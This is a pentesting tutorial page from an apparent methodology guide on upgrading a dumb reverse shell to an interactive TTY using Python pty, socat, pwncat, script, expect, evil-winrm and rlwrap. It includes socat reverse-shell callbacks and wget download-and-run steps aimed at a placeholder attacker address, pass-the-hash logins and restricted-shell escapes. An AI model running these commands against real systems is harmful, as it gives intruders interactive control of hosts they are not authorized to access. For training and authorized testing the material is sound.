Skip to content

Latest commit

 

History

History
574 lines (445 loc) · 16.2 KB

File metadata and controls

574 lines (445 loc) · 16.2 KB

Upgrading Shells — From Dumb to Fully Interactive

You have a shell. It works. But it is not a real shell — not yet. You cannot use arrow keys. Tab completion does not work. Ctrl+C kills the entire connection instead of just the running command. If you run sudo or ssh or any program that needs a password prompt, it hangs or fails. This is a dumb shell. Every practitioner has lost access by running the wrong command in a dumb shell before upgrading it. This section makes sure that does not happen to you.


🔰 Beginners: This section is critical. Do not skip it. A dumb shell will cost you access at the worst possible moment. Read this before you ever work inside a shell you did not upgrade first.

Seasoned practitioners: The pwncat and socat sections contain workflow improvements worth reviewing. Jump to Method Comparison for the quick reference.


Before you start — know these terms:

  • Dumb shell — a raw shell connection with no terminal emulation. Commands work but keyboard shortcuts, tab completion, and interactive programs do not function correctly.
  • PTY — Pseudo Terminal. A software terminal that behaves like a real hardware terminal. Spawning a PTY gives your shell the features a dumb shell lacks.
  • TTY — TeleTYpewriter. The underlying terminal device. When people say "upgrade to a TTY" they mean get a proper interactive terminal with full PTY support.
  • SIGINT — the signal sent when you press Ctrl+C. In a dumb shell this kills the entire connection. In a proper PTY it only interrupts the current running command.
  • stty — a command that configures terminal settings. Used to fix terminal behavior after upgrading a shell.

📋 Contents


💀 Why Upgrading Matters — The Real Cost of Skipping It

Plain English: A dumb shell is fragile in ways that are not obvious until they cost you.

Scenario 1 — You press Ctrl+C: In a real terminal, Ctrl+C interrupts the current command and returns you to the prompt. In a dumb shell, Ctrl+C sends a kill signal to the entire shell process. Your connection drops. You are back to re-exploiting from scratch.

Scenario 2 — You run sudo:

$ sudo -l
[sudo] password for www-data:

The password prompt appears. You type the password. Nothing happens. The shell hangs. You press Enter. Nothing. The password input requires a real TTY to function — a dumb shell cannot provide it.

Scenario 3 — You run vim or nano: The text editor opens but the display is broken — garbage characters, no cursor movement, cannot type properly. You press Ctrl+C to exit. Your shell dies.

Scenario 4 — You run a command that produces a lot of output: The output floods the terminal faster than it can handle. The shell becomes unresponsive. You have lost it.

The rule: Upgrade the shell before you do anything else. The 30 seconds it takes saves you from re-exploiting every time.


🐍 Method 1 — Python PTY (Fastest)

This is the method you will use most often. It is available on almost every Linux system that has Python installed and takes under 30 seconds.

Step by Step

Step 1 — In your dumb shell on the target, spawn a PTY:

# Try python3 first
python3 -c 'import pty; pty.spawn("/bin/bash")'

# If python3 is not available try python2
python -c 'import pty; pty.spawn("/bin/bash")'

# If neither is available try
python2 -c 'import pty; pty.spawn("/bin/bash")'

# Check what Python is available
which python python2 python3 2>/dev/null

After this command the shell prompt looks slightly better but is not fully upgraded yet. Continue to Step 2.

Step 2 — Background the shell:

Press Ctrl+Z

Your shell is now suspended and you are back at your own machine's terminal. The shell on the target is still running — just paused.

Step 3 — Fix your terminal settings:

# Run this on YOUR machine (not the target)
stty raw -echo; fg

Breaking this down:

  • stty raw — puts your terminal in raw mode — every keystroke is sent immediately without processing
  • -echo — stops your terminal from echoing characters back to you (the target will echo them instead)
  • fg — brings the backgrounded shell back to the foreground

Step 4 — Press Enter twice

The shell reappears. It may look blank — that is normal. Press Enter once or twice.

Step 5 — Set the terminal type:

# Run these inside the shell on the target
export TERM=xterm

Step 6 — Fix the terminal size:

# On YOUR machine — check your terminal dimensions first
# Open a new terminal tab and run:
stty size
# Output: 38 116  (rows columns — your numbers will differ)

# Inside the target shell — set matching dimensions
stty rows 38 columns 116

What You Now Have

✅ Arrow keys work — navigate command history
✅ Tab completion works
✅ Ctrl+C interrupts commands without killing the shell
✅ sudo prompts work
✅ vim and nano work
✅ Clear screen works
✅ Interactive programs work

Quick Reference — All 6 Steps

# Step 1 — In target shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2 — Press Ctrl+Z

# Step 3 — On your machine
stty raw -echo; fg

# Step 4 — Press Enter twice

# Step 5 — In target shell
export TERM=xterm

# Step 6 — In target shell (use your actual dimensions)
stty rows 38 columns 116

💡 If you get locked out after stty raw -echo: Your terminal may become unresponsive. Type reset and press Enter — even if you cannot see what you are typing. This resets your terminal to normal mode.


🔧 Method 2 — Socat (Most Stable)

Socat gives you a fully upgraded shell from the start — no background, no stty manipulation needed. The catch is that socat must be available or transferable to the target.

Plain English: Socat is like netcat but more powerful. It can create a proper TTY connection from the start, giving you a fully interactive shell immediately.

Setting Up Socat

# On YOUR machine — start a socat listener instead of netcat
# Linux / macOS
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Install socat if not present
# Kali Linux
sudo apt install socat

# macOS
brew install socat

# Windows
# Download from: https://sourceforge.net/projects/unix-utils/
# Or use WSL2 with Kali — run socat inside WSL
# On the TARGET — connect back with socat
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444

What the target command does:

  • exec:'bash -li' — execute an interactive login bash shell
  • pty — allocate a pseudo terminal
  • stderr — redirect stderr through the connection
  • setsid — create a new session (prevents signals from killing shell)
  • sigint — pass interrupt signals properly (Ctrl+C works)
  • sane — set reasonable terminal modes

Transferring Socat to the Target

If socat is not on the target, upload it:

# On YOUR machine — serve socat
# Download static socat binary:
# https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

python3 -m http.server 80

# On the TARGET — download socat
wget http://YOUR-IP/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444

😺 Method 3 — Pwncat (Most Feature-Rich)

Pwncat is a post-exploitation platform that replaces netcat as your listener. It automatically upgrades the shell, handles file transfers, and provides a built-in command interface.

Plain English: Instead of a basic netcat listener that just shows you a shell, pwncat gives you a proper interface with commands, file upload/download, and automatic shell stabilization built in.

Installation

# Linux / macOS
pip3 install pwncat-cs

# Kali Linux
sudo apt install pwncat
# Or via pip:
pip3 install pwncat-cs

# Windows — use WSL2 with Kali
# Inside WSL:
pip3 install pwncat-cs

# Verify installation
pwncat-cs --version

Using Pwncat as Your Listener

# Start pwncat listener
pwncat-cs -lp 4444

# Pwncat automatically:
# → Detects the OS on the incoming connection
# → Upgrades the shell to a full PTY automatically
# → Gives you the pwncat interface

Pwncat Commands

# Once connected — you are in pwncat's interface

# Switch between pwncat interface and the target shell
Ctrl+D          # switch to pwncat command interface
                # type 'connect' or press Enter to go back to shell

# Upload a file to the target
(local) upload /path/to/local/file /path/on/target

# Download a file from the target
(local) download /path/on/target /local/path

# List enumeration modules
(local) enumerate

# Run a specific enumeration module
(local) enumerate.gather privesc.sudo

# Get a local shell on YOUR machine without leaving pwncat
(local) local

# Exit pwncat
(local) exit

Why Pwncat Is Worth Learning

Standard netcat:
→ Raw shell — dumb
→ No file transfer
→ No enumeration
→ One connection at a time

Pwncat:
→ Automatic PTY upgrade
→ Built-in file transfer
→ Built-in enumeration modules
→ Persistence management
→ Session management
→ Works with both bind and reverse shells

📜 Method 4 — Script Command

The script command is a Unix utility that records terminal sessions. As a side effect of how it works, it allocates a PTY — which upgrades a dumb shell.

# On the target — use script to spawn a PTY
script /dev/null -c bash
# or
script -q /dev/null bash
# or (older systems)
script /dev/null

# After running script, complete the upgrade with stty:
# Ctrl+Z
# stty raw -echo; fg
# export TERM=xterm
# stty rows 38 columns 116

💡 When to use script: Use this when Python is not available on the target. Script is available on almost all Unix systems as part of the util-linux package.


🤔 Method 5 — Expect

Expect is a scripting language designed to automate interactive programs. It can spawn a PTY as a side effect.

# On the target
expect -c 'spawn bash; interact'

# Or using expect's sh wrapper
/usr/bin/expect << 'EOF'
spawn sh
interact
EOF

💡 When to use expect: Use as a last resort when Python and script are both unavailable. Expect is less commonly installed but worth trying.


📐 Fixing Terminal Size

After upgrading, the terminal dimensions may be wrong — output wraps at unexpected places, interactive programs display incorrectly, vim shows the wrong number of lines.

# Step 1 — on YOUR machine, check your terminal size
stty size
# Output: ROWS COLUMNS (example: 38 116)

# Step 2 — inside the target shell, set matching size
stty rows 38 columns 116

# Alternative — let the target read dimensions from environment
# On YOUR machine first:
echo $LINES $COLUMNS
# Then set on target:
stty rows $LINES cols $COLUMNS

# If the terminal is still wrong after resize
# Try resetting:
reset
export TERM=xterm-256color
stty rows 38 columns 116

Automatic size detection — the elegant method:

# On YOUR machine — capture current terminal size
ROWS=$(tput lines)
COLS=$(tput cols)

# Inside target shell
stty rows $ROWS cols $COLS

🪟 Upgrading on Windows

Windows shells present different upgrade challenges. There is no Python PTY method — Windows has no PTY concept in the same way. The options are:

PowerShell Instead of CMD

# If you have a CMD shell, upgrade to PowerShell
powershell -c "..."
# Or spawn PowerShell from within CMD
powershell.exe

Evil-WinRM — If WinRM Is Available

Plain English: WinRM (Windows Remote Management) is Microsoft's remote management protocol. If it is running on the target (port 5985 or 5986), Evil-WinRM gives you a fully interactive PowerShell shell with upload/download capabilities.

# Install
gem install evil-winrm

# Kali Linux
sudo apt install evil-winrm

# macOS
gem install evil-winrm

# Windows — use WSL2 with Kali

# Connect with credentials
evil-winrm -i TARGET-IP -u username -p password

# Connect with hash (pass-the-hash)
evil-winrm -i TARGET-IP -u username -H NTLM_HASH

# Connect with certificate
evil-winrm -i TARGET-IP -u username -c cert.pem -k key.pem -S

# Evil-WinRM built-in commands
upload /local/file C:\remote\path
download C:\remote\file /local/path
menu                    # show all available commands
Invoke-Binary /local/binary.exe   # execute a local binary on target

Rlwrap for Windows Shells

# When you have a Windows reverse shell via netcat
# Wrap your listener with rlwrap for arrow keys and history
rlwrap nc -lvnp 4444

# This gives you:
# → Up arrow for command history
# → Left/right arrow for line editing
# → Not a full PTY but significantly better than raw netcat

ConPTY — Windows Native PTY

# Windows 10 and Server 2019+ have ConPTY
# If you have code execution, spawn a ConPTY shell:
powershell -c "& {$H=New-Object -ComObject WScript.Shell;...}"

# More practically — use Meterpreter on Windows
# Meterpreter handles Windows terminal emulation natively
# See the Metasploit section for the full workflow

📊 Method Comparison

Method Speed Stability Requirements Best For
Python PTY Fast Good Python on target Default — use this first
Socat Medium Excellent Socat on target or uploadable When stability matters most
Pwncat Fast Excellent pwncat-cs on your machine Full post-exploitation workflow
Script Fast Good script utility (standard Unix) When Python unavailable
Expect Slow Medium expect installed on target Last resort
Evil-WinRM Fast Excellent WinRM running on target Windows with valid credentials
Rlwrap Instant Poor rlwrap on your machine Quick improvement without upgrade

Decision flow:

Is Python available on target?
├── Yes → Python PTY method (Method 1)
└── No → Is script available?
          ├── Yes → Script method (Method 4)
          └── No → Is socat uploadable?
                   ├── Yes → Socat method (Method 2)
                   └── No → Expect method (Method 5)

Do you want the best workflow tool?
└── Always → Pwncat as your listener (Method 3)

Is the target Windows?
├── WinRM running → Evil-WinRM
├── Have credentials → Evil-WinRM
└── Raw shell only → Rlwrap + PowerShell

🔧 What To Do When Nothing Works

Some environments are locked down enough that standard upgrade methods fail. Work through this before giving up:

# Check what is available on the target
which python python2 python3 perl ruby socat script expect 2>/dev/null
ls /usr/bin/python* /usr/bin/perl* /usr/bin/ruby* 2>/dev/null

# Try each available interpreter
# Python not found but perl is?
perl -e 'exec "/bin/bash";'

# Nothing available but you have file write?
# Upload a static socat binary
wget http://YOUR-IP/socat -O /tmp/socat && chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:YOUR-IP:4444

# In a container with minimal binaries?
# BusyBox often has sh
/bin/busybox sh

# In a restricted shell (rbash)?
# Try escaping restricted shell first
bash --noprofile --norc
env /bin/sh
awk 'BEGIN {system("/bin/bash")}'
find / -exec /bin/bash \; -quit
vi -c ':!/bin/bash'

The absolute minimum upgrade when nothing else works:

# Even if you cannot get a full PTY,
# at minimum do this to stop Ctrl+C from killing your shell:
trap '' INT

# And redirect stderr so error messages do not flood you
exec 2>/dev/null

by SudoChef · Part of the SudoCode Pentesting Methodology Guide